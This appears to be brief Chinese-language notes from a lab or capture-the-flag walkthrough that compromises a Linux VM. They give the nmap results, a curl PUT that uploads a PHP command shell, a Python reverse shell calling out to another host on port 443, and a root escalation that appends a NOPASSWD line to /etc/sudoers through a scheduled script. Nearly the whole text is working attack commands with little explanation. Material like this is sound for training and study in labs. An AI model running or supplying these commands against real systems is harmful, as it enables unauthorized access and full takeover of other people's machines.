目录
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
MAC Address: 00:0C:29:BA:70:AF (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目录遍历
root@kali:~# curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.243.138/test/cmd.php
访问:http://192.168.243.138/test/cmd.php?cmd=whoami
http://192.168.18.153/test/cmd.php?cmd=
python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.18.148",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹shell---做信息收集
搜寻漏洞看是否可利用
追加命令
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL">> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
任务计划
chmod 777 /tmp/update
等待几分钟 sudo su
id
python -c 'import pty;pty.spawn("/bin/bash");'
cd /root/
获得root